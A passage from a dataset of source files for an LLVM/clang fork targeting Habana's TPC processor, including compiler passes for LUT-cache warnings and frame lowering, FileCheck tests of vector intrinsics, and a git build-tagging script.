LoopTaken::runOnFunction(Function &F) {\n LLVM_DEBUG(dbgs() << \"loop_taken runOnFunction.\\n\");\n if (F.isDeclaration() || skipFunction(F))\n return false;\n auto &LI = getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n auto &SE = getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n auto &DT = getAnalysis<DominatorTreeWrapperPass>().getDomTree();\n auto &AC = getAnalysis<AssumptionCacheTracker>().getAssumptionCache(F);\n\n BasicBlock &BB = F.getEntryBlock();\n Instruction *InsertP = &(BB.back());\n for (auto &L : LI) {\n simplifyLoop(L, &DT, &LI, &SE, &AC, nullptr, true);\n }\n bool Ret = false;\n SmallPriorityWorklist<Loop *, 4> Worklist;\n internal::appendLoopsToWorklist(reverse(LI), Worklist);\n while (!Worklist.empty()) {\n Loop *L = Worklist.pop_back_val();\n InsertP = &L->getLoopPreheader()->back();\n Ret |= processLoopTaken(L, SE, InsertP);\n }\n return Ret;\n}\n\nPass *llvm::createLoopTakenPass(int OptLevel) { return new LoopTaken(); }\n" }, { "alpha_fraction": 0.5577617287635803, "alphanum_fraction": 0.6516245603561401, "avg_line_length": 37.17241287231445, "blob_id": "63d7cd76ce2d4bda3d1a22fa976f6953c4d9699f", "content_id": "bfddc30a5586ad9ded99230238ec2a02af0dd751", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1108, "license_type": "permissive", "max_line_length": 309, "num_lines": 29, "path": "/clang/test/RC99/driver/lut-warn/dali/lut-warn-correct-128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S 2>&1 | FileCheck %s -allow-empty\n\nvoid main(int x0, int x2, int x3, int dest0, int dest1, int dest2)\n{\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uint64 __local *ptr_x1 = (uint64 __local *)x2;\n\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 __local *res1 = (float64 __local *)dest1;\n float64 __local *res2 = (float64 __local *)dest2;\n\n\n float64 temp_res0 = 0;\n float64 temp_res1 = 0;\n float64 temp_res2 = 0;\n\n temp_res0 = v_f32_lookup_c0_v_b(*ptr_x0, temp_res0, 1, e_fp32_sqrt, x3, 0);\n temp_res1 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_fp32_sqrt, x3, 0);\n temp_res2 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_fp32_pow2_128, x3, 0);\n\n *res0 = temp_res0;\n *res1 = temp_res1;\n *res2 = temp_res2;\n\n}\n\n//CHECK-NOT: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Goya architecture, this will cause LUT misses. The cache can hold 1 special function with 256 intervals or 2 special functions, each with 128 intervals or 4 special functions, each with 64 intervals.\n\n" }, { "alpha_fraction": 0.654118001461029, "alphanum_fraction": 0.6653685569763184, "avg_line_length": 30.949308395385742, "blob_id": "f0cfb4fb5e1831428f3655954b396ebb7ddd18ba", "content_id": "01dddcfd67e628622a462b20024ca91c0c0c186d", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6933, "license_type": "permissive", "max_line_length": 165, "num_lines": 217, "path": "/llvm/lib/Target/TPC/TPCLutCacheCounter.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCLutCacheCounter.cpp --- Optimizes predicates ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// Author: Michael Zuckerman\n//===----------------------------------------------------------------------===//\n//\n// This pass:\n// - Generates warning when used LUT size exceeds LUT cache\n// 1) The pass-run over each machine basic block and check his location in the\n// loop structure.\n// 2) If the basic block is in a nested loop that his depth is greater than one\n// continue to the next check.\n// 3) If one of the machine instruction is a lookup instruction and violate one \n// of the following condition produce a warning:\n// a) The number of tables is exceeded the allowed number.\n// b) Different interval groups in the same VLM\n//\n//===----------------------------------------------------------------------===//\n#define DEBUG_TYPE \"tpc-lut-count\"\n#include \"MCTargetDesc/TPCInstPrinter.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCFrameLowering.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include <map>\n#include <set>\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *\ncreateTPCLutCacheCounter();\nvoid\ninitializeTPCLutCacheCounterPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] =\n \"Print warning if used LUT size exceeds LUT cache\";\nstatic const char PassName[] = \"tpc-lut-count\";\n\n//static cl::opt<bool>\n//EnableLutCounter(\"lut-mem-count\",\n// cl::desc(\"Prints warning if used LUT size exceeds LUT cache(default=true)\"),\n// cl::init(true), cl::Hidden);\n\nnamespace {\n\nenum LookupDT {\n BV32,\n BV16,\n BV8_0,\n BV8_1\n};\n\nstatic std::map<unsigned, unsigned> FuncIdToTableSize {\n { 0, 256 },\n { 1, 128 },\n { 2, 64 },\n { 3, 64 }\n};\n\n\nclass TPCLutCacheCounter: public MachineFunctionPass {\npublic:\n static char ID;\n StringRef getPassName() const override {\n return PassDescription;\n }\n\n TPCLutCacheCounter() : MachineFunctionPass(ID) {\n initializeTPCLutCacheCounterPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\nprivate:\n std::set<unsigned> loadedFunctionsDali;\n std::map<unsigned, unsigned> loadedFunctionsGaudi;\n unsigned maxSize = 384;\n unsigned usedSize = 0;\n bool isCommomLookupUsed = false;\n bool processLookupDali(const MachineInstr &I);\n bool processLookupGen2Plus(const MachineInstr &I);\n bool isLookUpInADeepLoop(MachineBasicBlock *MBB, int &deep);\n};\n}\n\nchar TPCLutCacheCounter::ID = 0;\n\nINITIALIZE_PASS(TPCLutCacheCounter, PassName, PassDescription, false, false)\n\nFunctionPass * llvm::createTPCLutCacheCounter() {\n return new TPCLutCacheCounter();\n}\n\nbool TPCLutCacheCounter::processLookupGen2Plus(const MachineInstr &MI) {\n const MCInstrDesc &MCID = MI.getDesc();\n if (TPCII::isLookup(MCID)) {\n if (!TPCII::isLookupC(MCID)) {\n isCommomLookupUsed = true;\n }\n if (isCommomLookupUsed && TPCII::isLookupC(MCID)) {\n errs() << \"Warning: mixing generic and special lookup may cause LUT cache misses and/or LUT misbehaviour.\\n\";\n return false;\n }\n unsigned funcId = MI.getOperand(2).getImm();\n unsigned lookupDt = MI.getOperand(3).getImm() & 0x7;\n unsigned tableSize = FuncIdToTableSize[(funcId >> 7)];\n\n if(!loadedFunctionsGaudi.emplace(funcId,lookupDt).second &&\n loadedFunctionsGaudi[funcId] == lookupDt) {\n return true;\n }\n usedSize += tableSize;\n if (lookupDt == BV32) {\n maxSize = 256;\n }\n if (usedSize > maxSize) {\n errs() << \"Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Gen2+ architecture, this will cause LUT misses.\\n\";\n return false;\n }\n }\n return true;\n}\n\n\n\nbool TPCLutCacheCounter::processLookupDali(const MachineInstr &MI) {\n if (TPCII::isLookup(MI.getDesc())) {\n unsigned funcId = MI.getOperand(2).getImm();\n unsigned tableSize = FuncIdToTableSize[(funcId >> 4)];\n if (!loadedFunctionsDali.insert(funcId).second) {\n return true;\n }\n for (auto usedFuncId : loadedFunctionsDali) {\n unsigned usedFuncIdTableSize = FuncIdToTableSize[(usedFuncId >> 4)];\n if (tableSize != usedFuncIdTableSize) {\n errs() << \"Performance warning: encountered special function IDs from different interval groups, this will cause LUT misses.\\n\";\n return false;\n }\n }\n unsigned numberOfTables = loadedFunctionsDali.size();\n if ((tableSize == 256 && numberOfTables > 1)\n || (tableSize == 128 && numberOfTables > 2)\n || (tableSize == 64 && numberOfTables > 4)) {\n errs() << \"Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Goya architecture,\"\n \" this will cause LUT misses. The cache can hold 1 special function with 256 intervals or 2 special functions,\"\n \" each with 128 intervals or 4 special functions, each with 64 intervals.\\n\";\n return false;\n }\n }\n return true;\n}\n\n/**\n * @brief The isLookUpInADeepLoop function tune the LTU warning by checking the\n * Location of the basic block in the struct of the loop.\n * \n * @param MBB machine basic block\n * @param depth of the basic block in the loop.\n * @return true if the depth is greater than 1\n * @return false if the depth of the basic block is less than 1\n */\nbool TPCLutCacheCounter::isLookUpInADeepLoop(MachineBasicBlock *MBB,\n int &depth) {\n auto &MLI = getAnalysis<MachineLoopInfo>();\n MachineLoop *loop = MLI.getLoopFor(MBB);\n if (loop) {\n depth = loop->getLoopDepth();\n // The basic block is part of a loop. Locate the loop depth and if grather\n // then 1 return true.\n if (loop->getLoopDepth() <= 1)\n return false;\n else\n return true;\n }\n // The basic block is not part of any loop.\n return false;\n}\n\nbool TPCLutCacheCounter::runOnMachineFunction(MachineFunction &MF) {\n auto ST = &MF.getSubtarget<TPCSubtarget>();\n bool PrintlutWarn = ST->getTargetLowering()->getTargetMachine().Options.LutWarn;\n if (!PrintlutWarn) {\n return false;\n }\n\n for (auto &BB : MF) {\n int deep = 0;\n if (!isLookUpInADeepLoop(&BB, deep))\n continue;\n for (auto &MI : BB) {\n if(ST->hasGoyaISA()) {\n if(!processLookupDali(MI)) {\n return false;\n }\n } else {\n if(!processLookupGen2Plus(MI)) {\n return false;\n }\n }\n }\n }\n return true;\n}\n" }, { "alpha_fraction": 0.5813953280448914, "alphanum_fraction": 0.625, "avg_line_length": 27.58333396911621, "blob_id": "3f41016724d8b8ee3470bc19e76eeca3163695b5", "content_id": "caf1d7ba93f7b16b06097e690bd8492847c9ae4d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 344, "license_type": "permissive", "max_line_length": 106, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/cache_invalidate.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(_Bool x) {\n cache_invalidate_b(0, 1, 0);\n// CHECK: cache_invalidate\n\n cache_invalidate_b(0, x, 0);\n// CHECK: cache_invalidate %SP{{[0-9]+}}\n}\n\n" }, { "alpha_fraction": 0.38936781883239746, "alphanum_fraction": 0.4554597735404968, "avg_line_length": 25.84000015258789, "blob_id": "88568bc1f31c33360a67b0c67514a629defa5c83", "content_id": "71f4df7a50e708a93aab24aa9b0da7b38bd036ba", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 696, "license_type": "permissive", "max_line_length": 65, "num_lines": 25, "path": "/clang/test/RC99/acceptance/relu.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o -\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o -\r\n\r\n// batch norm for floats\r\nvoid main(tensor ifm , tensor ofm)\r\n{\r\n int5 addr= 0; \r\n float64 zeros = 0;\r\n bool256 pp = 1;\r\n bool256 p = 0;\r\n p = bv_mov_b_b(1,p,1,0);\r\n // spatial for loops\r\n for (int h = 0 ; h < 10; h++)\r\n {\r\n addr[1] = h;\r\n for (int w = 0 ; w < 10; w++)\r\n {\r\n addr[2] = w;\r\n float64 tmp = 0;\r\n tmp = v_f32_ld_tnsr_i_b(addr,ifm,tmp,1,0);\r\n tmp = v_f32_max_v_v_vb(tmp,zeros,tmp,p,0);\r\n f32_st_tnsr_i_v_b(addr,ofm,tmp,1,0);\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.6451117396354675, "alphanum_fraction": 0.646988570690155, "avg_line_length": 31.561111450195312, "blob_id": "ce037ffb4befdffec42a25e40cc82dd67fff190e", "content_id": "6d074790bbef980a248cf07f6f69b5b18c3f7af4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5861, "license_type": "permissive", "max_line_length": 86, "num_lines": 180, "path": "/llvm/lib/Target/TPC/TPCFrameLowering.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCFrameLowering.cpp - TPC Frame Information ------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the TPC implementation of TargetFrameLowering class.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCFrameLowering.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineModuleInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/DataLayout.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Target/TargetOptions.h\"\n\nusing namespace llvm;\n\nextern cl::opt<bool> IgnoreMemOverflow;\n\nTPCFrameLowering::TPCFrameLowering()\n : TargetFrameLowering(TargetFrameLowering::StackGrowsDown, Align(8), 0, Align(8)) {\n}\n\nvoid TPCFrameLowering::emitPrologue(MachineFunction &MF,\n MachineBasicBlock &MBB) const {\n}\n\nMachineBasicBlock::iterator TPCFrameLowering::\neliminateCallFramePseudoInstr(MachineFunction &MF, MachineBasicBlock &MBB,\n MachineBasicBlock::iterator I) const {\n llvm_unreachable(\"No stack frame pseudos\");\n}\n\n\nvoid TPCFrameLowering::emitEpilogue(MachineFunction &MF,\n MachineBasicBlock &MBB) const {\n}\n\nbool TPCFrameLowering::hasReservedCallFrame(const MachineFunction &MF) const {\n return false;\n}\n\n// hasFP - Return true if the specified function should have a dedicated frame\n// pointer register. This is true if the function has variable sized allocas or\n// if frame pointer elimination is disabled.\nbool TPCFrameLowering::hasFP(const MachineFunction &MF) const {\n return false;\n}\n\n\nint TPCFrameLowering::getFrameIndexReference(const MachineFunction &MF, int FI,\n unsigned &FrameReg) const {\n // Return \"frame register\".\n const TPCTargetLowering &TL = *MF.getSubtarget<TPCSubtarget>().getTargetLowering();\n FrameReg = TL.getZeroReg();\n\n // Resolve spill slots.\n if (static_cast<unsigned>(FI) < FrameObjects.size() && !FrameObjects[FI].isEmpty())\n return getFrameObjectOffset(FI);\n\n // Resolve locals.\n const MachineFrameInfo &MFI = MF.getFrameInfo();\n // TODO: synchronize with GlobalResolver.\n return MFI.getObjectOffset(FI);\n}\n\n\nbool TPCFrameLowering::isLeafProc(MachineFunction &MF) const {\n return true;\n}\n\nvoid TPCFrameLowering::determineCalleeSaves(MachineFunction &MF,\n BitVector &SavedRegs,\n RegScavenger *RS) const {\n// TargetFrameLowering::determineCalleeSaves(MF, SavedRegs, RS);\n// if (!DisableLeafProc && isLeafProc(MF)) {\n// TPCMachineFunctionInfo *MFI = MF.getInfo<TPCMachineFunctionInfo>();\n// MFI->setLeafProc(true);\n\n// remapRegsForLeafProc(MF);\n// }\n\n}\n\nstatic bool spillsToVLM(const TargetRegisterClass *RC) {\n if (RC == &TPC::SRFRegClass ||\n RC == &TPC::ZRFRegClass ||\n RC == &TPC::SPRFRegClass ||\n RC == &TPC::IRFRegClass ||\n RC == &TPC::ADRFRegClass)\n return false;\n if (RC == &TPC::VRFRegClass ||\n RC == &TPC::VPRFRegClass ||\n RC == &TPC::DRFRegClass ||\n RC == &TPC::ARFRegClass)\n return true;\n llvm_unreachable(\"Unsupported register class\");\n}\n\nunsigned TPCFrameLowering::getSpillObject(int FrameIndex,\n const TargetRegisterClass *RC,\n MachineFunction &MF,\n unsigned Sz) {\n assert(Sz > 0);\n bool UsesVLM = spillsToVLM(RC);\n if (UsesVLM) {\n assert(Sz % 256 == 0);\n } else {\n assert(Sz % 4 == 0);\n }\n\n // On the first call initialize pointers to memories.\n if (FrameObjects.empty()) {\n TopVectorFrame = getVectorDataSize();\n TopScalarFrame = getScalarDataSize();\n }\n\n FrameObject *Obj = nullptr;\n if (static_cast<unsigned>(FrameIndex) < FrameObjects.size()) {\n Obj = &FrameObjects[FrameIndex];\n if (!Obj->isEmpty()) {\n // If such frame index already exists, check if the register class fits it.\n assert(Obj->Size >= Sz);\n return Obj->Offset;\n }\n } else {\n // So such frame index yet, create new one.\n FrameObjects.resize(FrameIndex + 1);\n Obj = &FrameObjects.back();\n }\n\n // Initialize new frame object.\n unsigned &TopFrame = UsesVLM ? TopVectorFrame : TopScalarFrame;\n unsigned MemLimit = UsesVLM ? MaxVectorMemory : MaxScalarMemory;\n MachineFrameInfo &MFI = MF.getFrameInfo();\n Obj->Size = MFI.getObjectSize(FrameIndex);\n Obj->Offset = TopFrame;\n TopFrame += Obj->Size;\n\n if (UsesVLM) {\n unsigned VectorSpillSize = TopFrame-getVectorDataSize();\n if(getSpillVectorDataSize() < VectorSpillSize)\n setSpillVectorDataSize(VectorSpillSize);\n } else {\n unsigned ScalarSpillSize = TopFrame-getScalarDataSize();\n if(getSpillScalarDataSize() < ScalarSpillSize)\n setSpillScalarDataSize(ScalarSpillSize);\n }\n\n if (TopFrame > MemLimit) {\n StringRef Msg = UsesVLM ? \"Too many vector spills\\n\" : \"Too many scalar spills\\n\";\n if (!IgnoreMemOverflow) {\n report_fatal_error(Msg.str(), false);\n } else {\n errs() << \"Warning: \" << Msg.str();\n }\n }\n\n return Obj->Offset;\n}\n\nunsigned TPCFrameLowering::getFrameObjectOffset(int FrameIndex) const {\n assert(!FrameObjects[FrameIndex].isEmpty());\n return FrameObjects[FrameIndex].Offset;\n}\n\nunsigned TPCFrameLowering::getFrameObjectSize(int FrameIndex) const {\n assert(!FrameObjects[FrameIndex].isEmpty());\n return FrameObjects[FrameIndex].Size;\n}\n" }, { "alpha_fraction": 0.5052631497383118, "alphanum_fraction": 0.5819548964500427, "avg_line_length": 35.94444274902344, "blob_id": "07dd18b0ab862dfebcd89919bdd87d4b245aff62", "content_id": "3b937fe87fde89bb04d205c69ae225bc0fb4dc48", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 665, "license_type": "permissive", "max_line_length": 132, "num_lines": 18, "path": "/clang/test/RC99/IntrinsicsM/and/bv_b_and_bv_bv.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s \n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int dest0)\n{\n unsigned a = 1;\n bool256 pred0;\n pred0 = bv_mov_b(1);\n bool256 pred1;\n pred1 = bv_mov_b(1);\n bool256 res0 = 0; \n int64 __local *pred_res0 = (int64 __local *)dest0;\n\n res0 = bv_b_and_bv_bv(pred0, pred1);\n *pred_res0 = v_i32_add_v_s_vb(*pred_res0 , 1, *pred_res0 , 1, res0, 0);\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: and.b %VP{{[0-9]+}}, %VP{{[0-9]+}}, %VP{{[0-9]+}}\n" }, { "alpha_fraction": 0.35744941234588623, "alphanum_fraction": 0.47026363015174866, "avg_line_length": 34.456520080566406, "blob_id": "94eaf243fd487ec25091e5344d5613bdc3bc653e", "content_id": "3bc6f820ea7420b2c87104bef709b9cf6e8c399b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1631, "license_type": "permissive", "max_line_length": 106, "num_lines": 46, "path": "/clang/test/RC99/IntrinsicsM/mul/v_u16_mul_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(unsigned short a, unsigned short b, int dest, int src, _Bool pred) {\n uint128 __local *dptr = (uint128 __local *)dest;\n ushort128 x0 = *(ushort128 __local *)(src + 0 * 256);\n ushort128 x1 = *(ushort128 __local *)(src + 1 * 256);\n uint128 res = { 0 };\n\n res = v_u16_mul_b(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u16_mul_b(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, a, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP0\n\n res = v_u16_mul_b(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_u16_mul_b(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n}\n" }, { "alpha_fraction": 0.5168869495391846, "alphanum_fraction": 0.5770925283432007, "avg_line_length": 44.400001525878906, "blob_id": "950822228401d45f221fdb180ef9f11a54e0f6d6", "content_id": "8c217011316b34065739dd0a5422bee81169d0a0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 681, "license_type": "permissive", "max_line_length": 108, "num_lines": 15, "path": "/clang/test/RC99/CodeGen/bool256-07.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int x, int y) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 res = x < y;\n\n *dptr = res;\n}\n\n// CHECK: cmp_less.i32 [[SPREG:%SP[0-9]+]], %S1, %S2, %SP0\n// CHECK: mov [[VPREG:%VP[0-9]+]], [[SPREG]], %SP0\n// CHECK: st_l_v %S0,{{.*}} [[VPREG]], %SP0\n" }, { "alpha_fraction": 0.558282196521759, "alphanum_fraction": 0.5950919985771179, "avg_line_length": 37.35293960571289, "blob_id": "e37f308c7bfb9f518dadc4d7d2868d42305d233b", "content_id": "60646384fad7b1a216f7cc8e5d46323301a572e0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 652, "license_type": "permissive", "max_line_length": 136, "num_lines": 17, "path": "/clang/test/RC99/CodeGen/reg-lfsr-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple -tpc-none-none -std=rc99 -S -O1 -target-cpu dali %s -o - | FileCheck --check-prefix=CHECK-DALI %s\n// RUN: %clang_cc1 -triple -tpc-none-none -std=rc99 -S -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(int dest) {\n char256 __local *dptr = (char256 __local *) dest;\n write_lfsr(*dptr);\n *dptr = read_lfsr();\n// CHECK-DALI: WRITE LFSR, %V{{[0-9]+}}\n// CHECK-DALI-NEXT: nop\n// CHECK-DALI-NEXT: nop\n// CHECK-DALI-NEXT: nop\n// CHECK-DALI-NEXT: READ %V{{[0-9]+}}, LFSR\n\n// CHECK-GAUDI: WRITE LFSR, %V{{[0-9]+}}\n// CHECK-GAUDI-NEXT: READ %V{{[0-9]+}}, LFSR\n}\n" }, { "alpha_fraction": 0.6259985566139221, "alphanum_fraction": 0.6347131729125977, "avg_line_length": 25.480770111083984, "blob_id": "58a13f72a3421aa388c31a27f1da0abcf4a13ce5", "content_id": "7324ef999b1bd3ac6cabaaed3c50d5217a5e4831", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1377, "license_type": "permissive", "max_line_length": 89, "num_lines": 52, "path": "/llvm/utils/TPC/make_drop.sh", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Make sure we are in the top-level llvm repository.\nif [ ! -d \"../.git\" ]; then\n echo \"Script $0 must be called from llvm source directory\"\n exit 1\nfi\n\nif [ ! -r \"./TPC.build\" ]; then\n echo \"Script $0 must be called from llvm source directory\"\n exit 1\nfi\n\n# Make sure the delivered repositories are clean.\nMODIFIED=`git status --untracked-files=no 2>&1 | grep 'modified:'`\nif [ -n \"$MODIFIED\" ]; then\n echo \"Working directory contains uncommitted changes\"\n exit 1\nfi\n\n# Increment commit number\nBUILD_NUM=`cat ./TPC.build`\nBUILD_NUM=$(($BUILD_NUM+1))\necho \"New build number is: $BUILD_NUM\"\necho $BUILD_NUM > ./TPC.build\n\n# Put tags in the delivered repositories.\ngit add ./TPC.build && \\\ngit commit -m \"Incremented build number\" && \\\ngit tag -a build-${BUILD_NUM} -m \"Drop #${BUILD_NUM}\" && \\\n\nif [ $? != \"0\" ]; then\n echo \"ERROR\"\n exit 1\nfi\n\n# Push the commit that increments build number as well as the new tags in llvm and clang.\n# NB: We assume the remote repository is named as 'origin'.\necho -n \"Do you want to push the changes? (Y/N)\"\nread reply\nif [ \"$reply\" = \"Y\" -o \"$reply\" = \"y\" ]; then\n git push origin && \\\n git push origin build-${BUILD_NUM} && \\\n if [ \"$?\" != \"0\" ]; then\n echo \"ERROR\"\n exit 1\n else\n echo \"Changes have been sent to origin\"\n fi\nelse\n echo \"Changes were not pushed\"\nfi\n" }, { "alpha_fraction": 0.34710606932640076, "alphanum_fraction": 0.45630431175231934, "avg_line_length": 31.614973068237305, "blob_id": "4d59aeec180a6eef486efb3e412af0d575de7086", "content_id": "ad4e8dd2fa522f9ed6dc4abe3c31d4721c4f5e44", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6099, "license_type": "permissive", "max_line_length": 106, "num_lines": 187, "path": "/clang/test/RC99/Intrinsics/v_bf16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, _BFloat16 xs, int dest, _Bool pred, int vpreda) {\n bfloat128 __local *x0ptr = (bfloat128 __local *)x0a;\n bfloat128 __local *x1ptr = (bfloat128 __local *)x1a;\n bfloat128 __local *dptr = (bfloat128 __local *)dest;\n bool128 __local *vpptr = (bool128 __local *)vpreda;\n bfloat128 res = 0;\n bfloat128 x0 = *x0ptr;\n bfloat128 x1 = *x1ptr;\n bool128 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_bf16_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_b(x0, x1, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 